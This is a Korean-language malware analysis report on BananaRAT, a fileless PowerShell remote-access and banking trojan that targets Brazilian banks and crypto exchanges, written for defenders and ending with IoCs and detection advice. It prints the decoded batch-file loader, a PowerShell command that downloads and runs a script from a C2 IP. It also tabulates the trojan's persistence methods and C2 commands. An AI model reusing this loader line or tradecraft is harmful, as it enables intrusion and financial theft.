보안 위협 분석

BananaRAT 분석

악성코드 분석        2026-07-06

 

1) 개요

최근 브라질을 중심으로 급격히 확산되어 글로벌 가상자산 거래소까지 위협하고 있는 신종 악성코드 'Banana RAT'이 PowerShell 기반 핵심 모듈을 통해 확산되고 있다. Banana RAT은 전통적인 금융 트로이목마의 '가짜 화면 오버레이(Overlay)' 및 '입력 제어' 기술을 계승하는 동시에, 시스템 은닉 및 파일리스(Fileless) 실행 기법을 극대화하여 윈도우 디펜더 및 주요 EDR 솔루션을 무력화하도록 설계되었다. 특히 공격자가 피해자의 화면을 실시간으로 감시 및 제어하는 원격 제어 백도어(RAT) 속성과 중요 자산 파일을 탈취하는 인포스틸러(InfoStealer)의 속성을 정교하게 결합한 하이브리드형 고위험군 악성코드이다. 

<그림 1> 악성 코드 동작 구성도 

2) Consultar_NF-e.bat 분석

해당 악성코드는 WhatsApp 또는 피싱 URL를 통해 악성 배치 파일을 다운로드 및 실행을 유도한다. 첨부된 파일은 Consultar_NF-e.bat 파일이며, <그림 2>처럼 문자열들을 10진수로 인코딩되어 있다. 해당 문자열을 아스키코드로 다시 인코딩하면, “& ([ScriptBlock]::Create((New-Object Net.WebClient).DownloadString('http://24[.]199[.]90[.]58/st.txt')))” 이며, C2 서버에서 추가로 스크립트를 실행한다. 

<그림 2> 주요 함수가 인코딩된 Consultar_NF-e.bat 파일 

<그림 3> 디코딩된 Consulta_NF-e.bat 

st.txt가 실행되면 C2 내부의 payload.php 파일을 다운받아 피해자 PC의 ‘C:\Users\Public\Documents 경로에 msedge.txt 파일로 생성된다. 그 후 gc $f –RAW 명령어로 다운로드한 txt 파일의 전체 내용을 읽어온 뒤, 메모리 상에서 스크립트 블록으로 생성하여 즉시 실행한다. 정상 파일 위장을 위해 msedge.txt 형태로 스크립트를 생성하고, 인메모리 형태로 실행하여 보안 솔루션의 탐지를 회피한다. 

<그림 4> st.txt 스크립트 

3) BananaRAT 분석

유출된 소스코드가 있어 해당 소스코드를 통해 분석을 진행하였다. RAT이 인메모리에서 실행되면 Start-Client 함수가 실행된다. 해당 함수에서는 RAT의 중복 실행을 피하면서 기존에 실행중인 RAT이 있다면 종료하고, 새로 실행한다. 또한 실행 권한에 따라 권한 상승 및 서비스 설치를 시도한다. 

<그림 5> 실행중인 RAT 종료 

<그림 6> 실행 권한 상승 및 서비스 설치 시도 

Resolve-ServerAddress를 실행하여 C2 주소 c[.]windowsk-cdn[.]com에 연결한다. 백신 등의 탐지를 피하기 위해 windows가 들어간 도메인을 사용하는 것으로 추정된다. C2 주소와 연결에 성공하면, 원활한 통신을 위해 Send/Receive 버퍼를 설정하고, 패킷 헤드에 시그니처 문자인 LQWP(0x4C, 0x51, 0x57, 0x50)을 추가한 후 패킷 타입인 0x01를 추가하여 C2에 전송한다. 이를 통해 C2와 원활한 통신 연결을 확인한다. 

<그림 7> 코드 내부에 저장된 C2 주소 

<그림 8> C2 초기 통신 시도 

C2와 통신을 성공하면 현재 감염된 PC의 정보를 수집한 후 json 형태로 변환하여 전송한다. 이 때도 시그니처  문자열과 패킷 타입으로 0xE6를 추가하여 전송한다. 

<그림 9> 감염 시스템 정보 수집 및 C2 전송 

<그림 10> 수집하는 정보들 

수집하는 정보는 아래와 같다. 

 

변수명 수집하는 정보 변수명 수집하는 정보
MachineGuid 레지스트리 고유 기기 GUID (또는 PC-사용자명 조합) MacAddress 활성화된 네트워크 카드의 MAC 주소
InstallToken 최초 설치 시 생성된 고유 식별 토큰 ScreenWidth 주 모니터 화면 가로 해상도 픽셀 크기
TokenProof 토큰 기반 인증 증적 데이터 ScreenHeight 주 모니터 화면 세로 해상도 픽셀 크기
Campaign 악성코드 유포 캠페인 식별자 CPU 프로세서 모델명
MachineName 컴퓨터 이름 RAM 총 물리 메모리 용량 (GB 단위)
MachineDomain 컴퓨터 소속 도메인 ClientVersion 악성코드 에이전트 빌드 버전
LoggedOnUserName 현재 로그인된 사용자 계정명 PcSpeed 감염 PC 체감 성능 프로파일 설정 값
LoggedOnUserDomain 로그인된 사용자 도메인 TargetFps 타겟 스트리밍 프레임 수 (FPS)
OperatingSystemName 윈도우 운영체제 제품명 OverlayActive 가짜 기만 화면 활성화 여부
OperatingSystemVersion 윈도우 OS 빌드 버전 OverlayMode 직전/현재 활성화된 오버레이 모드 번호
ElevationType 현재 스크립트 실행 권한 레벨 (User / Admin / System) InputBlocked 사용자 마우스/키보드 입력 차단 여부
LocalIPs 내부 IPv4 주소 목록

 

<표 1> 수집 정보 리스트 

C2에 감염 PC의 정보를 전송하고 나면 안정적인 통신을 위해 세션을 맺게 된다. 그 후 C2와의 네트워크 소켓 스트림에서 데이터를 파싱하여 json 형태로 복원한 뒤, 각 1바이트 Hex 명령어 코드에 따라 원격 제어, 정보 탈취, 화면 오버레이 제어 등의 동작을 수행하게 된다. 

<그림 11> C2와 원활한 통신을 위해 세션 생성 

<그림 12> 패킷 타입에 따라 공격 동작 수행 

아래는 패킷 타입 0xA0의 동작이며, C2에 명령어를 받아 감염 PC에서 쉘 명령어를 실행한다. 실행 명령어 및 실행 결과에 대해서는 AES 암호 알고리즘을 통해 암/복호화하여 백신 등에 탐지되지 않도록하고 있다. 

<그림 13> C2에서 명령을 받아 쉘 명령어 실행 

아래는 각 패킷 타입에 따른 동작들을 정리한 것이다. 

 

명령어 대상 기능 주요 동작
0x01 ClientHello C2 연결 개시
0x02 ServerHello C2 연결 응답
0x06 SessionInfo 세션 수립 승인
0x10 ScreenFrame 화면 데이터 전송
0x11 ScreenStreaming 스트리밍 제어
0x13 QualityChange 대역폭 화질 조절
0x14 MonitorList 모니터 정보 요청
0x15 MonitorSelect 타겟 모니터 변경
0x20 MouseMove 마우스 이동 제어
0x21 MouseButton 마우스 클릭 제어
0x22 MouseWheel 마우스 휠 제어
0x23 Keyboard 키보드 입력 제어
0x40 ClipboardText 클립보드 변조
0x50 GetFileList 파일 구조 탐색
0x51 FileListResponse 탐색 결과 반환
0x53 FileDataResponse 탈취 파일 전송
0x54 GetFileData 감염 PC 내 파일 다운로드
0x55 FileUpload 악성 파일 업로드
0x61 Screenshot/Popup 가짜 캡처 창/팝업
0x64 AutoQRToggle 자동 QR 탐지 스위치
0x66 ShowQROverlay 사기용 QR 코드 주입
0x67 HideQROverlay 주입 QR 은닉
0x70 InputTrackStart 키로깅 시작
0x71 InputTrackStop 키로깅 중지
0xA0 Command 원격 쉘 명령 실행
0xA1 CommandResponse 쉘 결과 반환
0xA2 SystemCommand 시스템 인프라 제어
0xB2 ProcessList 프로세스 정찰
0xB3 ServiceList 서비스 정찰
0xE0 Ping 생존 확인
0xE1 Pong 생존 응답
0xE6 GuestInfo 정찰 데이터 유출

 

<표 2> 패킷 타입에 따른 공격 동작 정리 

아래 표는 패킷 타입 중 0xA2인 SystemCommand의 명령어를 정리한 것이다. 주로 권한 상승, 시스템 서비스 등록/해제, 지속성 설정, 그리고 은행 사이트 접속시 사용하는 기만용 가짜 오버레이 화면(Priv1~15) 스위칭과 자격증명 가로채기 폼을 원격에서 동적으로 제어하기 위해 뱅킹 트로이목마가 사용하는 핵심 분기 로직이 주를 이룬다. 

 

명령어 대상 기능
getMonitors 시스템 모니터 정보 조회
elevate_reboot 관리자 권한 상승 시도
elevate_persist 일반 권한 기반 지속성 등록
install_service 악성 시스템 서비스 설치
uninstall_service 악성 시스템 서비스 제거
get_elevation 현재 권한 및 지속성 상태 진단
get_persist 지속성 확보 수준 진단
install_persist 은닉형 스케줄러 등록
elevate / request_uac UAC 우회 및 서비스 인젝션
remove_persist 자동 실행 흔적 일시 제거
blankOn / overlay_on 가짜 화면 오버레이 활성화
blankOff / overlay_off 가짜 화면 오버레이 비활성화
blockOn 사용자 마우스/키보드 입력 차단
blockOff 사용자 마우스/키보드 입력 해제

 

<표 3> SystemCommand 명령어 리스트 1 

 

명령어 대상 기능
priv1 ~ priv5 각 모드 번호에 매핑된 가짜 화면 실행 • priv1: 윈도우 업데이트 • priv2: 윈도우 준비 중 • priv3: 블루스크린 (BSOD) • priv4: 디스크 검사 (Chkdsk) • priv5: 블랙 화면
priv6 ~ priv10 각 모드 번호에 매핑된 브라질 은행으로 위장 (단색 폼)
priv11 ~ priv15 각 모드 번호에 매핑된 브라질 은행으로 위장 (정밀 폼)
privOff 전체 기만 오버레이 종료
screenshotCancel 가짜 캡처 오버레이 취소
cropStop 마스크 구멍 뚫기 해제
lock 윈도우 계정 화면 잠금
show_qr 금융 사기용 가짜 QR 주입
hide_qr 주입된 가짜 QR 코드 은닉
unlock 윈도우 자격증명 우회 잠금해제
logoff / restart / shutdown 시스템 전원 제어(로그오프/재부팅/종료)
client_restart 악성코드 에이전트 재시작
uninstall 흔적 삭제 및 완전 자가 삭제
cropArea:* 특정 금융 좌표 마스킹 구멍 뚫기
dataEntry:* 가짜 금융 정보 입력창 팝업

 

<표 4> SystemCommand 명령어 리스트 2 

지속성 등록은 레지스트리, 서비스, 작업 스케줄러 등록으로 이루어 진다. 각 지속성들은 아래의 InstallConfig을 참고하여 서비스 이름을 설정하며, 주로 윈도우 정상 프로세스로 위장하고 있다. 

<그림 14> 지속성에 사용될 각종 변수가 저장된 InstallConfig 

작업 스케줄러 지속성의 경우 중복 등록을 방지하기 위해 같은 이름의 스케줄을 삭제한 후 InstallConfig을 참조하여 스케줄을 등록한다. 등록된 스케줄은 파워쉘을 통해 악성코드를 실행하며, 시스템이 시작할 때 마다 1분 지연 후 관리자 권한으로 실행된다. 

<그림 15> 악성코드 작업 스케줄러 등록 

레지스트리 등록 또한 InstallConfig의 TaskName을 참고해서 ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’에 악성코드 실행 명령어를 등록한다. 

<그림 16> 레지스트리에 악성코드 등록 

서비스 등록 또한 InstallConfig을 참조하여 서비스명을 설정하며, 실행 파라미터로 파워쉘을 통해 인메모리 형태로 스크립트를 실행하는 방식으로 지속성을 설정한다. 

<그림 17> 서비스에 파워쉘 실행 명령어 등록 

<그림 18> 서비스 악성코드 등록 

악성코드의 주요 기능 중 하나는 금융 기관 사이트 대한 피싱 행위 및 금융 정보 탈취로 이를 위해서 다양한 기능을 제공하고 있다. 악성코드를 통해 모니터링을 하면서 지정된 문구가 있는지 확인한다. 또한 웹 브라우저 접속시 브라우저의 타이틀을 확인하여 저장된 금융 기관 정보와 비교한다. 다양한 금융 기관에 대상으로 하며, 은행, 금융협동조합, 코인거래소를 대상으로 한다. 

<그림 19> 모니터링 문자열(브라질 금융 기관 문자열) 

<그림 20> 모니터링하는 브라우저 리스트 

그 후 코드 내에 저장된 Base64로 인코딩된 금융 시스템 캡처본을 디코딩한 후 C:\Windows\Temp 경로에 파일로 생성한다. 스크린샷 이미지를 화면 전체에 띄우고, 이미지의 특정 영역을 비워서 실제 금융 기관의 실시간 결재 QR 코드를 비워둔 영역에 노출되도록 하여, 피해자가 정상 페이지에 접근했다 생각되게 만든다. 그 후 특정 좌표 영역에 보이지 않는 입력 필드와 버튼을 매핑하여 사용자의 금융 자격증명(비밀번호, 거래 서명 등)을 탈취한다. 

<그림 21> 위장용 금융 기관 이미지 저장 경로 

<그림 22> 화면의 특정 위치를 비워둬 창 아래 QR 코드 보이도록 위장 

금융 정보 탈취 외에도 피해자 화면에 사기용 QR코드를 덮어씌어 공격자가 원하는 금융 활동을 유도한다. 피해자의 화면 배율이나 은행 창 위치가 바뀌더라도 픽셀 오차 없이 정확하게 사기용 QR 코드를 원격으로 조준하여 주입한다. 이를 위해서 실시간 화면 전송이나 금융 문구를 확인하는 모니터링을 지속적으로 실행한다. 

<그림 23> 사기용 QR 코드 설정 

<그림 24> 피해자 화면 실시간 모니터링 

그 외에도 현재 사용자의 화면을 스크린샷 찍어서 해당 이미지를 C2에 전송하거나, 피해자의 화면을 공격자가 설정한 화면으로 덮어씌어 그 사이에 다른 동작을 실행하거나, 공격자가  감염 시스템 내부 파일들을 확인하고 공격자가 원하는 파일들 다운로드하는 등 다양한 공격 기능들이 있다. 

<그림 25> 사용자 화면 스크린샷 

<그림 26> 공격자가 설정한 화면 오버레이 

<그림 27> 감염 시스템에서 원하는 파일 다운로드 

4) 결론

BananaRAT은 단순한 해외 일회성 금융 사기 툴킷이 아니며, 윈도우 운영체제의 하위 서브시스템 그래픽 API, 프로세스 토큰 권한 모델, 그리고 메모리 기반 파일리스(Fileless) 파워쉘 인젝션 기법을 완벽하게 이해하고 설계된 고도로 구조화된 원격 제어 및 인포스틸러 프레임워크이다.
이 악성코드가 사용하는 기술적 본질 프로세스 무단 상주를 위한 작업 스케줄러 복구 루틴, Winlogon 시스템 토큰 복제를 통한 계정 잠금 무력화, 창 제목 감시를 통한 동적 오버레이 및 마우스 감금(ClipCursor)—은 특정 국가의 운영체제 빌드에 구애받지 않고 모든 Windows 인프라에 동일하게 작동하는 보편적 위협 요소이다.
현재 수집된 악성코드 내부의 모니터링 키워드는 브라질 대형 은행들과 글로벌 암호화폐 거래소(Binance, Coinbase, Bybit)에 집중되어 있으나, 이 공격 기법은 한국 금융 환경 및 개인·기업 사용자를 대상으로도 즉각적이고 충분한 피해를 입힐 수 있다.
BananaRAT은 파워쉘 메모리 인젝션을 통한 파일리스 실행 기법과 정상 마이크로소프트 구성 요소 기만(Masquerading) 기법을 적극적으로 차용하므로, 단순 파일 시그니처 기반 탐지로는 방어가 불가능하다. 따라서 프로세스 커맨드라인 내 런타임 인수 검사, 상시적인 Run/RunOnce 및 작업 스케줄러 내 위장 키워드 이상 징후 모니터링, 그리고 비정상적인 커스텀 TCP 포트 통신 행위 기반 탐지 체계 마련이 시급히 요구된다. 

5) IoC

SHA256
st.txt

ecdc8fade561a75d68235859ad8b1fe131db2c458b4894268e38e90ecab1c47f

st.php
38dfeb772afbd01c04eddda120d283acfb1147a6dc3d54ac62fe23ad06e39d8f

payload.php
4912b1134e69ade7266e8508eec33ccb2d80ad693f1dbc4f1f4344c6dfcf2ff1

msedge.txt
d7545b6dacebdae27effb3c778c5e349027ec789c76ae4f777bd9ba56a70cdaa

C2
C[.]windowsk-cdn[.]com
162[.]141[.]111[.]227 

6) YARA Rule

 

박치훈

위협분석센터
ch.park@piolink.com

  • 목록
문의